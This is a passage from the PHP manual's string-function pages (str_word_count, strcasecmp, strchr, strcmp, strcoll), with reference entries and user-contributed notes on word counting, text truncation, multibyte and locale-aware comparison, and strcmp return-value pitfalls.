It returns a string with a certain character limit, but still retaining whole words.
It breaks out of the foreach loop once it has found a string short enough to display, and the character list can be edited.

<?php
function word_limiter( $text, $limit = 30, $chars = '0123456789' ) {
    if( strlen( $text ) > $limit ) {
        $words = str_word_count( $text, 2, $chars );
        $words = array_reverse( $words, TRUE );
        foreach( $words as $length => $word ) {
            if( $length + strlen( $word ) >= $limit ) {
                array_shift( $words );
            } else {
                break;
            }
        }
        $words = array_reverse( $words );
        $text = implode( " ", $words ) . '&hellip;';
    }
    return $text;
}

$str = "Hello this is a list of words that is too long";
echo '1: ' . word_limiter( $str );
$str = "Hello this is a list of words";
echo '2: ' . word_limiter( $str );
?>

1: Hello this is a list of words&hellip;
2: Hello this is a list of words
jazz090 13-Apr-2009 07:39
Personally, I dont like using this function becuase the characters it omits are sometime nessesery for instance MS Word counts ">" or "<" alone as single word where this function doesnt. I like using this however, it counts EVERYTHING:

<?php
function num_words($string){
    preg_match_all("/\S+/", $string, $matches);
    return count($matches[0]);
}
?>
splogamurugan at gmail dot com 05-Feb-2009 11:32
We can also specify a range of values for charlist.

<?php
$str = "Hello fri3nd, you're
       looking          good today!
       look1234ing";
print_r(str_word_count($str, 1, '0..3'));
?>

will give the result as

Array ( [0] => Hello [1] => fri3nd [2] => you're [3] => looking [4] => good [5] => today [6] => look123 [7] => ing )
eanimator at yahoo dot com 11-Jan-2009 09:37
My quick and rough wordLimiter function.

<?php
function WordLimiter($text,$limit=20){
    $explode = explode(' ',$text);
    $string  = '';

    $dots = '...';
    if(count($explode) <= $limit){
        $dots = '';
    }
    for($i=0;$i<$limit;$i++){
        $string .= $explode[$i]." ";
    }

    return $string.$dots;
}
?>
manrash at gmail dot com 22-Dec-2008 12:06
For spanish speakers a valid character map may be:

<?php
$characterMap = 'áéíóúüñ';

$count = str_word_count($text, 0, $characterMap);
?>
om+www dot php dot net at miakinen dot net 06-Sep-2008 11:29
Here is a code for a function str_word_count() compatible with UTF-8. I'm sorry that the comments are in French because I am not very good in English: anyway, these comments only try to explain things that are in PCRE or Unicode documentations.

<?php
    /*
     * Explications du masque pour preg_match_all.
     *
     * La fonction str_word_count standard considère qu'un mot est
     * une séquence de caractères qui contient tous les caractères
     * alphabétiques, et qui peut contenir, mais pas commencer
     * par "'" et "-".
     *
     * Avec Unicode et UTF-8, une lettre peut être un caractères
     * ASCII non accentué tel que "e" ou "E", mais aussi un "é" ou
     * un "É", lequel peut se représenter sous la forme de deux
     * caractères : d'abord le "E" non accentué, puis l'accent tout
     * seul. Une lettre "E" ou "É" fait partie de la classe « L »,
     * un accent de la classe « Mn ».
     *
     * Par ailleurs, "-" n'est plus le seul trait d'union possible.
     * Plutôt que de les lister individuellement, j'ai choisi de
     * tester les caractères de la classe « Pd ». Un inconvénient
     * est que cela inclut aussi le tiret cadratin et d'autres,
     * mais cet inconvénient existait déjà avec str_word_count et
     * le tiret ascii, et en outre il ne concerne pas le français
     * (contrairement à l'anglais, il y a toujours des espaces
     * autour de ces tirets).
     *
     * Enfin, "'" n'est pas non plus la seule apostrophe possible.
     * Mais contrairement aux tirets je teste juste l'apostrophe
     * typographique U+2019 à part au lieu de tester la classe « Pf »
     * car cette dernière contient trop de signes de ponctuation
     * à exclure de la définition d'un mot.
     *
     * Un mot commence donc par une lettre \\p{L}, éventuellement
     * accentuée (suivie par un nombre quelconque de \\p{Mn}), et
     * ensuite on peut rencontrer un nombre quelconques d'autres
     * lettres (\\p{L} et \\p{Mn}), de tirets (\\p{Pd}) ou d'apostrophes
     * (' et \\x{2019}). Tout ceci, bien sûr, dans un masque compatible
     * avec UTF-8 (/u à la fin).
     *
     * Pour les références, voir :
     * http://fr2.php.net/manual/fr/regexp.reference.php #regexp.reference.unicode
     * http://fr2.php.net/manual/fr/reference.pcre.pattern.modifiers.php
     */
    define("WORD_COUNT_MASK", "/\\p{L}[\\p{L}\\p{Mn}\\p{Pd}'\\x{2019}]*/u");

    function str_word_count_utf8($str)
    {
        return preg_match_all(WORD_COUNT_MASK, $str, $matches);
    }
?>
aspu.ru 17-Jun-2008 01:21
str_word_count: mixed (string string, [int format], [string charlist])

It can help you to solve problem with digest and some locales. Best regards.
Adeel Khan 09-Dec-2007 05:01
<?php

/**
 * Returns the number of words in a string.
 * As far as I have tested, it is very accurate.
 * The string can have HTML in it,
 * but you should do something like this first:
 *
 *    $search = array(
 *      '@<script[^>]*?>.*?</script>@si',
 *      '@<style[^>]*?>.*?</style>@siU',
 *      '@<![\s\S]*?--[ \t\n\r]*>@'
 *    );
 *    $html = preg_replace($search, '', $html);
 *
 */

function word_count($html) {

  # strip all html tags
  $wc = strip_tags($html);

  # remove 'words' that don't consist of alphanumerical characters or punctuation
  $pattern = "#[^(\w|\d|\'|\"|\.|\!|\?|;|,|\\|\/|\-|:|\&|@)]+#";
  $wc = trim(preg_replace($pattern, " ", $wc));

  # remove one-letter 'words' that consist only of punctuation
  $wc = trim(preg_replace("#\s*[(\'|\"|\.|\!|\?|;|,|\\|\/|\-|:|\&|@)]\s*#", " ", $wc));

  # remove superfluous whitespace
  $wc = preg_replace("/\s\s+/", " ", $wc);

  # split string into an array of words
  $wc = explode(" ", $wc);

  # remove empty elements
  $wc = array_filter($wc);

  # return the number of words
  return count($wc);

}

?>
joshua dot blake at gmail dot com 03-Mar-2007 02:02
I needed a function which would extract the first hundred words out of a given input while retaining all markup such as line breaks, double spaces and the like. Most of the regexp based functions posted above were accurate in that they counted out a hundred words, but recombined the paragraph by imploding an array down to a string. This did away with any such hopes of line breaks, and thus I devised a crude but very accurate function which does all that I ask it to:

<?php
function Truncate($input, $numWords)
{
  if(str_word_count($input,0)>$numWords)
  {
    $WordKey = str_word_count($input,1);
    $PosKey = str_word_count($input,2);
    reset($PosKey);
    foreach($WordKey as $key => &$value)
    {
        $value=key($PosKey);
        next($PosKey);
    }
    return substr($input,0,$WordKey[$numWords]);
  }
  else {return $input;}
}
?>

The idea behind it? Go through the keys of the arrays returned by str_word_count and associate the number of each word with its character position in the phrase. Then use substr to return everything up until the nth character. I have tested this function on rather large entries and it seems to be efficient enough that it does not bog down at all.

Cheers!

Josh
josh at joshblake.net 02-Mar-2007 12:57
I was interested in a function which returned the first few words out of a larger string.

In reality, I wanted a preview of the first hundred words of a blog entry which was well over that.

I found all of the other functions which explode and implode strings to arrays lost key markups such as line breaks etc.

So, this is what I came up with:

<?php
function WordTruncate($input, $numWords) {
if(str_word_count($input,0)>$numWords)
{
    $WordKey = str_word_count($input,1);
    $WordIndex = array_flip(str_word_count($input,2));
    return substr($input,0,$WordIndex[$WordKey[$numWords]]);
}
else {return $input;}
}
?>

While I haven't counted per se, it's accurate enough for my needs. It will also return the entire string if it's less than the specified number of words.

The idea behind it? Use str_word_count to identify the nth word, then use str_word_count to identify the position of that word within the string, then use substr to extract up to that position.

Josh.
30-Jan-2007 05:15
Here is a php work counting function together with a javascript version which will print the same result.

<?php
      //Php word counting function
      function word_count($theString)
      {
        $char_count = strlen($theString);
        $fullStr = $theString." ";
        $initial_whitespace_rExp = "^[[:alnum:]]$";

        $left_trimmedStr = ereg_replace($initial_whitespace_rExp,"",$fullStr);
        $non_alphanumerics_rExp = "^[[:alnum:]]$";
        $cleanedStr = ereg_replace($non_alphanumerics_rExp," ",$left_trimmedStr);
        $splitString = explode(" ",$cleanedStr);

        $word_count = count($splitString)-1;

        if(strlen($fullStr)<2)
        {
          $word_count=0;
        }
        return $word_count;
      }
?>

<?php
      //Function to count words in a phrase
      function wordCount(theString)
      {
        var char_count = theString.length;
        var fullStr = theString + " ";
        var initial_whitespace_rExp = /^[^A-Za-z0-9]+/gi;
        var left_trimmedStr = fullStr.replace(initial_whitespace_rExp, "");
        var non_alphanumerics_rExp = rExp = /[^A-Za-z0-9]+/gi;
        var cleanedStr = left_trimmedStr.replace(non_alphanumerics_rExp, " ");
        var splitString = cleanedStr.split(" ");

        var word_count = splitString.length -1;

        if (fullStr.length <2)
        {
          word_count = 0;
        }
        return word_count;
      }
?>
Aurelien Marchand 06-Oct-2006 06:06
I found a more reliable way to print, say the first 100 words and then print elipses. My code goes this way;

<?php
$threshold_length = 80; // 80 words max
$phrase = "...."; // populate this with the text you want to display
$abody = str_word_count($phrase,2);
if(count($abody) >= $threshold_length){ // gotta cut
  $tbody = array_keys($abody);
  echo "<p>" . substr($phrase,0,$tbody[$threshold_length]) . "... <span class=\\"more\\"><a href=\\"?\\">read more</a></span> </p>\\n";
} else { // put the whole thing
  echo "<p>" . $phrase . "</p>\\n";
}
?>

For any questions, com.iname@artaxerxes2
lwright at psu dot edu 17-Aug-2006 08:51
If you are looking to count the frequency of words, try:

<?php

$wordfrequency = array_count_values( str_word_count( $string, 1) );

?>
MadCoder 16-Aug-2005 06:12
Here's a function that will trim a $string down to a certian number of words, and add a...   on the end of it.
(explansion of muz1's 1st 100 words code)

----------------------------------------------
<?php
function trim_text($text, $count){
$text = str_replace("  ", " ", $text);
$string = explode(" ", $text);
for ( $wordCounter = 0; $wordCounter <= $count;wordCounter++ ){
$trimed .= $string[$wordCounter];
if ( $wordCounter < $count ){ $trimed .= " "; }
else { $trimed .= "..."; }
}
$trimed = trim($trimed);
return $trimed;
}
?>

Usage
------------------------------------------------
<?php
$string = "one two three four";
echo trim_text($string, 3);
?>

returns:
one two three...
16-Jan-2005 03:38
This function seems to view numbers as whitespace. I.e. a word consisting of numbers only won't be counted.
aix at lux dot ee 14-Nov-2004 11:53
One function.
<?php
if (!function_exists('word_count')) {
function word_count($str,$n = "0"){
    $m=strlen($str)/2;
    $a=1;
    while ($a<$m) {
        $str=str_replace("  "," ",$str);
        $a++;
        }
    $b = explode(" ", $str);
    $i = 0;
    foreach ($b as $v) {
        $i++;
        }
    if ($n==1) return $b;
    else  return $i;

    }
}
$str="Tere Tartu linn";
$c  = word_count($str,1); // it return an array
$d  = word_count($str); // it return int - how many words was in text
print_r($c);
echo $d;
?>
aidan at php dot net 26-Jun-2004 12:02
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
Kirils Solovjovs 22-Feb-2004 06:06
Nothing of this worked for me. I think countwords() is very encoding dependent. This is the code for win1257. For other layots you just need to redefine the ranges of letters...

<?php
function countwords($text){
        $ls=0;//was it a whitespace?
        $cc33=0;//counter
        for($i=0;$i<strlen($text);$i++){
                $spstat=false; //is it a number or a letter?
                $ot=ord($text[$i]);
                if( (($ot>=48) && ($ot<=57)) ||  (($ot>=97) && ($ot<=122)) || (($ot>=65) && ($ot<=90)) || ($ot==170) ||
                (($ot>=192) && ($ot<=214)) || (($ot>=216) && ($ot<=246)) || (($ot>=248) && ($ot<=254))  )$spstat=true;
                if(($ls==0)&&($spstat)){
                        $ls=1;
                        $cc33++;
                }
                if(!$spstat)$ls=0;
        }
        return $cc33;
}

?>
Artimis 15-Oct-2003 11:32
Never use this function to count/separate alphanumeric words, it will just split them up words to words, numbers to numbers.  You could refer to another function "preg_split" when splitting alphanumeric words.  It works with Chinese characters as well.
andrea at 3site dot it 19-May-2003 01:55
if string doesn't contain the space " ", the explode method doesn't do anything, so i've wrote this and it seems works better ... i don't know about time and resource

<?php
function str_incounter($match,$string) {
$count_match = 0;
for($i=0;$i<strlen($string);$i++) {
if(strtolower(substr($string,$i,strlen($match)))==strtolower($match)) {
$count_match++;
}
}
return $count_match;
}
?>

example

<?php
$string = "something:something!!something";
$count_some = str_incounter("something",$string);
// will return 3
?>
philip at cornado dot com 07-Apr-2003 04:30
Some ask not just split on ' ', well, it's because simply exploding on a ' ' isn't fully accurate.  Words can be separated by tabs, newlines, double spaces, etc.  This is why people tend to seperate on all whitespace with regular expressions.
rcATinterfacesDOTfr 16-Jan-2003 04:58
Here is another way to count words :
$word_count = count(preg_split('/\W+/', $text, -1, PREG_SPLIT_NO_EMPTY));
brettNOSPAM at olwm dot NO_SPAM dot com 09-Nov-2002 09:06
This example may not be pretty, but It proves accurate:

<?php
//count words
$words_to_count = strip_tags($body);
$pattern = "/[^(\w|\d|\'|\"|\.|\!|\?|;|,|\\|\/|\-\-|:|\&|@)]+/";
$words_to_count = preg_replace ($pattern, " ", $words_to_count);
$words_to_count = trim($words_to_count);
$total_words = count(explode(" ",$words_to_count));
?>

Hope I didn't miss any punctuation. ;-)


Binary safe case-insensitive string comparison

  • « str_word_count
  • strchr »
  • PHP Manual
  • String Functions
  • Binary safe case-insensitive string comparison

strcasecmp

(PHP 4, PHP 5)

strcasecmp — Binary safe case-insensitive string comparison

Description

int strcasecmp ( string $str1 , string $str2 )

Binary safe case-insensitive string comparison.

Parameters

str1

The first string

str2

The second string

Return Values

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

Examples

Example #1 strcasecmp() example

<?php
$var1 = "Hello";
$var2 = "hello";
if (strcasecmp($var1, $var2) == 0) {
    echo '$var1 is equal to $var2 in a case-insensitive string comparison';
}
?>

See Also

  • strcmp() - Binary safe string comparison
  • preg_match() - Perform a regular expression match
  • substr_compare() - Binary safe comparison of two strings from an offset, up to length characters
  • strncasecmp() - Binary safe case-insensitive string comparison of the first n characters
  • stristr() - Case-insensitive strstr
  • substr() - Return part of a string

User Contributed Notes

chris at cmbuckley dot co dot uk 29-Dec-2011 01:59
A simple multibyte-safe case-insensitive string comparison:

<?php

function mb_strcasecmp($str1, $str2, $encoding = null) {
    if (null === $encoding) { $encoding = mb_internal_encoding(); }
    return strcmp(mb_strtoupper($str1, $encoding), mb_strtoupper($str2, $encoding));
}

?>

Caveat: watch out for edge cases like "ß".
alvaro at demogracia dot com 29-Jul-2010 02:35
Don't forget this is a single-byte function: in Unicode strings it'll provide incoherent results as soon as both strings differ only in case. There doesn't seem to exist a built-in multi-byte alternative so you need to write your own, taking into account both character encoding and collation.
27-Aug-2002 03:53
The sample above is only true on some platforms that only use a simple 'C' locale, where individual bytes are considered as complete characters that are converted to lowercase before being differentiated.

Other locales (see LC_COLLATE and LC_ALL) use the difference of collation order of characters, where characters may be groups of bytes taken from the input strings, or simply return -1, 0, or 1 as the collation order is not simply defined by comparing individual characters but by more complex rules.

Don't base your code on a specific non null value returned by strcmp() or strcasecmp(): it is not portable. Just consider the sign of the result and be sure to use the correct locale!


Alias of strstr

  • « strcasecmp
  • strcmp »
  • PHP Manual
  • String Functions
  • Alias of strstr

strchr

(PHP 4, PHP 5)

strchr — Alias of strstr()

Description

This function is an alias of: strstr().

User Contributed Notes

webmaster at lyndonstate dot edu 12-Nov-2003 09:01
Alternative Way:
To get all the text before the first occurence.

-----------------------------------------------
INCLUDING A NEEDLE:

$string1 = "I need cookies & soda.";
$needle = "cookies";

//find length of the needle
$needle_len = strlen($needle);

//find postion
$position_num = strpos($string1,$needle) + $needle_len;

//cut the string
$result_string = substr("$string1",0,$position_num);

//display it
echo"$result_string"; // I need cookies

-----------------------------------------------
SHORTER VERSION:

$result_string = substr("$string1",0,strpos($string1,$needle)+strlen($needle));

echo"$result_string";//I need cookies

-----------------------------------------------
EXCLUDING THE NEEDLE:

$result_string = substr("$string1",0,strpos($string1,$needle));

echo"$result_string";// I need

-----------------------------------------------
FREE EMAIL JUNK?

This is probably useful for processing emails.
For example, someone sends email to your server from Yahoo account.
Free email always comes with wasted stuff like...
"Do you Yahoo!? The New Yahoo! Shopping - with improved product search ".
We can delete the phrase like this:

$needle="Do you Yahoo!?";

$result_string = substr("$emailstring",0,strpos($emailstring, $needle));
joaobett at oninet dot pt 10-Jan-2003 05:43
//If you want to get the text before the occurence of the character
//you want to find, simply use the function strRev twice:

$stringA = "user@example.com";
$toFind = "@";

$stringA = strrev($stringA); //The first time
$result = strchr($stringA,$toFind);
$result = strrev($result); //The second time
echo $result; //prints user@

//You can use it this way instead:
echo strrev( strchr(strrev($stringA),$toFind) );

-joao


Binary safe string comparison

  • « strchr
  • strcoll »
  • PHP Manual
  • String Functions
  • Binary safe string comparison

strcmp

(PHP 4, PHP 5)

strcmp — Binary safe string comparison

Description

int strcmp ( string $str1 , string $str2 )

Note that this comparison is case sensitive.

Parameters

str1

The first string.

str2

The second string.

Return Values

Returns < 0 if str1 is less than str2; > 0 if str1 is greater than str2, and 0 if they are equal.

Examples

Example #1 strcmp() example

<?php
$var1 = "Hello";
$var2 = "hello";
if (strcmp($var1, $var2) !== 0) {
    echo '$var1 is not equal to $var2 in a case sensitive string comparison';
}
?>

See Also

  • strcasecmp() - Binary safe case-insensitive string comparison
  • preg_match() - Perform a regular expression match
  • substr_compare() - Binary safe comparison of two strings from an offset, up to length characters
  • strncmp() - Binary safe string comparison of the first n characters
  • strstr() - Find the first occurrence of a string
  • substr() - Return part of a string

User Contributed Notes

chris at unix-ninja dot com 02-Oct-2013 03:52
Since it may not be obvious to some people, please note that there is another possible return value for this function.

strcmp() will return NULL on failure.

This has the side effect of equating to a match when using an equals comparison (==).
Instead, you may wish to test matches using the identical comparison (===), which should not catch a NULL return.

---------------------
  Example
---------------------

$variable1 = array();
$ans === strcmp($variable1, $variable2);

This will stop $ans from returning a match;

Please use strcmp() carefully when comparing user input, as this may have potential security implications in your code.
lehal2 at hotmail dot com 02-Jan-2013 08:32
i hope this will give you a clear idea how strcmp works internally.

<?php
$str1 = "b";
echo ord($str1); //98
echo "<br/>";
$str2 = "t";
echo ord($str2); //116
echo "<br/>";
echo ord($str1)-ord($str2);//-18
$str1 = "bear";
$str2 = "tear";
$str3 = "";
echo "<pre>";
echo strcmp($str1, $str2); // -18
echo "<br/>";
echo strcmp($str2, $str1); //18
echo "<br/>";
echo strcmp($str2, $str2); //0
echo "<br/>";
echo strcmp($str2, $str3); //4
echo "<br/>";
echo strcmp($str3, $str2); //-4
echo "<br/>";
echo strcmp($str3, $str3); // 0
echo "</pre>";
?>
jendoj at gmail dot com 07-May-2012 08:00
If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable.
For instance you may get an unexpected 0, or return values of NULL, -2, 2, 3 and -3.

strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp(61529519452809720693702583126814, 61529519452809720000000000000000) => 0
strcmp(NULL, false) => 0
strcmp(NULL, "") => 0
strcmp(NULL, 0) => -1
strcmp(false, -1) => -2
strcmp("15", NULL) => 2
strcmp(NULL, "foo") => -3
strcmp("foo", NULL) => 3
strcmp("foo", false) => 3
strcmp("foo", 0) => 1
strcmp("foo", 5) => 1
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
hrodicus at gmail dot com 28-Feb-2011 03:40
Note a difference between 5.2 and 5.3 versions

echo (int)strcmp('pending',array());
will output -1 in PHP 5.2.16 (probably in all versions prior 5.3)
but will output 0 in PHP 5.3.3

Of course, you never need to use array as a parameter in string comparisions.
hm2k at php dot net 02-Aug-2010 01:41
Don't forget the similar_text() function...

http://php.net/manual/en/function.similar-text.php
Rob Wiesler 21-Jul-2009 09:48
One big caveat - strings retrieved from the backtick operation may be zero terminated (C-style), and therefore will not be equal to the non-zero terminated strings (roughly Pascal-style) normal in PHP. The workaround is to surround every `` pair or shell_exec() function with the trim() function. This is likely to be an issue with other functions that invoke shells; I haven't bothered to check.

On Debian Lenny (and RHEL 5, with minor differences), I get this:

====PHP====
<?php
$sz = `pwd`;
$ps = "/var/www";

echo "Zero-terminated string:<br />sz = ".$sz."<br />str_split(sz) = "; print_r(str_split($sz));
echo "<br /><br />";

echo "Pascal-style string:<br />ps = ".$ps."<br />str_split(ps) = "; print_r(str_split($ps));
echo "<br /><br />";

echo "Normal results of comparison:<br />";
echo "sz == ps = ".($sz == $ps ? "true" : "false")."<br />";
echo "strcmp(sz,ps) = ".strcmp($sz,$ps);
echo "<br /><br />";

echo "Comparison with trim()'d zero-terminated string:<br />";
echo "trim(sz) = ".trim($sz)."<br />";
echo "str_split(trim(sz)) = "; print_r(str_split(trim($sz))); echo "<br />";
echo "trim(sz) == ps = ".(trim($sz) == $ps ? "true" : "false")."<br />";
echo "strcmp(trim(sz),ps) = ".strcmp(trim($sz),$ps);
?>

====Output====
Zero-terminated string:
sz = /var/www
str_split(sz) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w [8] => )

Pascal-style string:
ps = /var/www
str_split(ps) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w )

Normal results of comparison:
sz == ps = false
strcmp(sz,ps) = 1

Comparison with trim()'d zero-terminated string:
trim(sz) = /var/www
str_split(trim(sz)) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w )
trim(sz) == ps = true
strcmp(trim(sz),ps) = 0
wsogmm at seznam dot cz 16-May-2009 05:45
Just a short comment to the note of arnar at hm dot is: md5() is a hash function and therefore it may happen (although it is very unlikely) that the md5() checksums of  two different strings will be equal (hash collision) ...
arnar at hm dot is 15-May-2009 04:51
Sometimes when you compare two strings that look "the same", you will find that they aren't. If you don't want to bother finding out why, then this is a simple solution:

$string = implode(str_split($string));

Converting the strings to md5 is also a nice method to see if they're equal.

md5($str1)."\n";
md5($str2)."\n\n";

____________
Arnar Yngvason
ThinkSoftware
nullhility at gmail dot com 15-Mar-2009 11:36
For those that are confused about the way this function works:

<?php
$str1 = 'a';
$str2 = 'b';
var_dump(strcmp($str1, $str2)); //int(-1)
?>

Alphabetically 'a' precedes 'b'. If we view the strings as values 'a' is less than 'b' and therefore the function returns -1.

If we were searching through an alphabetically sorted list we'd have a numerical index ($i) and compare the search string ($sstr) against each member of the string list ($slist), using strcmp we can check whether to go "up"($i++) or "down"($i--) through this list.

Here's the example function:
<?php
function strInList ($sstr)
{
    $slist = array('a', 'b', 'c', 'd', 'e' /* etc */);

    $i = sizeof($slist) / 2; //start the index in the middle

    while ($i < sizeof($slist) && $i >= 0) { //constrain $i to the scope of $slist

        $cmp = strcmp($slist[$i], $sstr);

        if ($cmp > 0) { //alphabetically, $slist[$i] procedes $sstr
            $i--; //move DOWN the list
        } else if ($cmp < 0) { //alphabetically, $slist[$i] precedes $sstr
            $i++; //move UP the list
        } else if ($cmp == 0) { //$slist[$i] occurs neither before nor after $sstr
            return true; //successful match
        }
    }
    return false; //The index fell out of the list scope, with no match made
}
?>
g-lock at nv-net.ru 19-Jun-2008 08:08
Here is my function to compare russian words.
You can replace $abc to your alphabet.

function strcmp_rus($str1, $str2)
{
    $abc = "АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯ
абвгдеёжзийклмнопрстуфхцчшщъыьэюя";
    $len = min(strlen($str1), strlen($str2));
    for ($i = 0; $i < $len; $i++)
    {
        $s1 = strlen($abc);
        $s2 = strlen($abc);
        for ($j = 0; $j < strlen($abc); $j++) if ($str1[$i] == $abc[$j]) $s1 = $j;
        for ($k = 0; $k < strlen($abc); $k++) if ($str2[$i] == $abc[$k]) $s2 = $k;
        if ($s1 < $s2) return -1;
        else if ($s1 > $s2) return 1;
    }
    return 0;
}
M. Egmond 22-Aug-2006 12:21
php dot or dot die at phpuser dot net wrote that he had an unexpected difference in comparing between case sensitive and insensitive. They key there is that the case insensitive comparison converts both strings to lowercase before comparing. Since the underscore character is in a different place when compared to an uppercase or lowercase string, the result is different.

There is no 'clear' order of punctuation and other characters in or around the alphabet. Most code assumes ASCII order in which case there are several characters before both upper- and lowercase, a few inbetween, and some after both upper- and lowercase.

Note also many other/older implementations of sorting sort accented character wrong since they appear after all other alphabetical characters in most charactersets. There is probably a function in PHP to take this into account though.

Therefore I would not recommend to make a detailed assumption on how punctuation and other characters sort in relation to alphabetical characters. If sorting these characters at a specific place and in a specific order is important for you, you should probably write a custom string comparison function that does it the way you want. Usually it's sufficient to have a consistent sorting order though, which is what you get by using either strcmp, or strcasecmp consistently.
jeff at skrysak dot com 03-Aug-2006 04:36
The definition of return values of this function is listed correctly on this page, however, there is a common misconception in the notes posted here previously from users.

A previous poster said:
If $str1 == $str2 strcmp return 0.
If $str1  > $str2 strcmp return 1.
If $str1  < $str2 strcmp return -1.

That is incorrect, please look at the definition of the function
at the top of this page. It returns less than 0 if str1 is less than str2. Note the phrase "less than", it does not return just -1, but any negative value. The same happens when str1 is greater than str2, but it returns a positive, non-zero value. It returns a positive value that can be 1, or any number thereafter.

strcmp() returns a number that is the difference between the two strings starting with the last character that was found to be similar.

Here is an example:

$output = strcmp("red", "blue");

The variable $output with contain a value of 16
francis at flourish dot org 08-Dec-2005 03:57
If you want to strings according to locale, use strcoll instead.
element @ no spam dot net 20-Feb-2005 12:42
When using strcmp to compare results received from a form, keep in mind that the way you decide to encapsulate the value of the form will have an effect on your strcmp() results.

Example:

<input type="post" name="user[0]" value="abc">
<input type="post" name="user[1]" value='abc'>

strcmp() will not return the values sent from this form as "0".

However, by using single-quotes or double-quotes to encapsulate BOTH values, strcmp() will return a "0" result.
jcanals at totsoft dot com 31-Jan-2004 03:05
Some notes about the spanish locale. I've read some notes that says  "CH", "RR" or "LL" must be considered as a single letter in Spanish. That's not really tru. "CH", "RR" and "LL" where considered a single letter in the past (lot of years ago), for that you must use the "Tradictional Sort". Nowadays, the Academy uses the Modern Sort and recomends not to consider anymore "CH", "RR" and "LL" as a single letter. They must be considered two separated letters and sort and compare on that way.

Ju just have to take a look to the Offial Spanish Language Dictionary and you can see there that from many years ago there is not the separated section for "CH", "LL" or "RR" ... i.e. words starting with CH must be after the ones starting by CG, and before the ones starting by CI.
gregd at sad dot net 08-Sep-2003 08:49
In cases when you need to compare a line from a just parsed file stream to match a user-defined "nametag" (useful for parsing ini and configuration files), keep in mind the 'end of line' tags as well:

// nametag to look for in a file (notice a required "\r\n" at the end)
$nametag = "[System]\r\n";

// ...assuming the file has been aready opened for reading and the stream is bound to $filehandle... parse the file until an EOF or $nametag encountered.

while (!feof ($handle))
{
    $buffer = fgets($filehandle);
    if (strcmp($nametag, $buffer) == 0)
    {
        // at this point "[System]" is found, do additional parsings...
        break;
    }
}
admin[nospam] at pretend dot tk 18-Jun-2003 04:44
Reguarding the above note on language specific string comparisons, LL and RR are also single letters in the Spanish language.
izhan dot khalib at acpibhd dot com 17-Dec-2002 08:13
I have tried the  strcmp function. Pls be very carefull. The string comparison must exactly "equal". So many people had confused.

I.e

My program read a string from test.txt file to get the
"[company name]" string.

// get contents of a file into a string
$filename = "test.txt";
$fd = fopen ($filename, "rb");
$contents = fread ($fd, filesize ($filename));

for($i=0;$i<strpos($contents, "]")+1;$i++)
{
//print $contents[$i];
//$a=trim($contents[$i]);
$a=$contents[$i];
echo $a;
//echo $i;
}

$str2="[companyname]";

// this comparison will resulted on greater (1), $result=1
//please remember $tempvariable[2] != $tempvariable (is not equal)
$result = strcmp(strtolower($a),strtolower($str2));

//this comparison working properly, $result=0
//$result = strcmp(strtolower($a),strtolower($str2[12]));

echo $result;

if ($a==$str2[12]) //double check the equality of string
{
echo "read the NextLine"; }
 else {
 echo "not equal";
 }
//end

fclose ($fd);
?>

I hope the above example will help you.
madsen at sjovedyr dot dk 02-Oct-2002 08:59
It's definitely worth noting that the return-values of strcmp() when used for i.e. password-checking is the oposite of that of the ==-operator.

I.e.:
$pw1 = "yeah";
$pw2 = "yeah";

if (strcmp($pw1, $pw2)) {   // This returns false.
    // $pw1 and $pw2 are NOT the same.
} else {
    // $pw1 and $pw2 are the same.
}

Where the use of the == operator would give us.:
if ($pw1==$pw2) {    // This returns true.
    // $pw1 and $pw2 are the same.
} else {
    // $pw1 and $pw2 are NOT the same.
}

Additionally, to check if $pw1 and $pw2 are of the same type you can use the === operator.
27-Aug-2002 03:45
In summary, strcmp() does not necessarily use the ASCII code order of each character like in the 'C' locale, but instead parse each string to match language-specific character entities (such as 'ch' in Spanish, or 'dz' in Czech), whose collation order is then compared. When both character entities have the same collation order (such as 'ss' and '�' in German), they are compared relative to their code by strcmp(), or considered equal by strcasecmp().
The LC_COLLATE locale setting is then considered: only if LC_COLLATE=C or LC_ALL=C does strcmp() compare strings by character code.
Generally, most locales define the following order:
control, space, punctuation and underscore, digit, alpha (lower then upper with Latin scripts; or final, middle, then isolated, initial with Arabic script), symbols, others...
With strcasecmp(), the alpha subclass is ignored and consider all forms of letters as equal.
Note also that some locales behave differently with accented characters: some consider they are the same letter as the unaccented letter (with a minor collation order, e.g. French, Italian, Spanish), some consider they are distinct letters with an independant collation order (e.g. in the C locale, or in Nordic languages).
Finally, the collation string is not considering individual characters but instead groups of characters that form a single letter:
- for example "ch" or "CH" in Spanish which is always after all other strings beginning with 'c' or 'C', including "cz", but before 'd' or 'D';
- 'ss' and '�' in German;
- 'dz', 'DZ' and 'Dz' in some Central European languages written with the Latin script...
- UTF-8, UTF-16 (Unicode), S-JIS, Big5, ISO2022 character encoding of a locale (the suffix in the locale name) first decode the characters into the UCS4/ISO10646 code position before applying the rules of the language indicated by the main locale...
So be extremely careful to what you consider a "character", as it may just mean a encoding byte with no significance in the string collation algorithm: the first character of the string "cholera" in Spanish is "ch", not "c" !
owen at cips dot nokia dot com 04-Nov-2000 01:23
Regarding bizarre return values from str*cmp(), I was having similar troubles until I realized that I was attempting to compare a string with HTML formatting with its plain-text equivilant. The formatted string was an <OPTION> value, so the HTML was rendered without the <b> and <i> formatting I was using. Consequently the formatted and unformatted strings were rendered identically in the browser. D'oh!
frewuill at merlin-corp dot com 28-Feb-2000 11:49
Hey be sure the string you are comparing has not special characters like '\n' or something like that.


Locale based string comparison

  • Â« strcmp
  • strcspn Â»
  • PHP Manual
  • String Functions
  • Locale based string comparison

strcoll

(PHP 4 >= 4.0.5, PHP 5)

strcoll — Locale based string comparison

Description

int strcoll ( string $str1 , string $str2 )

Note that this comparison is case sensitive, and unlike strcmp() this function is not binary safe.

